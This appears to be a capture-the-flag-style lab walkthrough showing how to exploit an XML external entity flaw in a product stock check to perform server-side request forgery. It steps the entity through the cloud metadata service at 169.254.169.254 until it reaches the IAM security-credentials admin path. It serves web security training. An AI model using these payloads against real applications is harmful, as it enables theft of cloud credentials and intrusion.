Skip to main content

Exploiting XXE to perform SSRF attacks

1

Let's check the stock of one of the products.

2

Since we are proxying the requests through Burp Suite, we can go to Proxy > HTTP History to view the request.

3

We can see that the request contains an XML entity.

Let's forward this request to the Repeater for further modification.

Once in the Repeater tab, declare the following internal entity after the XML prologue:

<!DOCTYPE test 
[<!ENTITY test SYSTEM "http://169.254.169.254/">]
>

4

Let's add the latest endpoint to the entity.

[<!ENTITY test SYSTEM "http://169.254.169.254/latest/">]

5

Let's add the meta-data endpoint to the entity.

[<!ENTITY test SYSTEM "http://169.254.169.254/latest/meta-data/">]

6

Let's add the iam endpoint to the entity.

[<!ENTITY test SYSTEM "http://169.254.169.254/latest/meta-data/iam/">]

7

Let's add the credentials endpoint to the entity.

[<!ENTITY test SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]

8

Let's add the admin endpoint to the entity.

[<!ENTITY test SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/">]

9

We have solved the lab.

10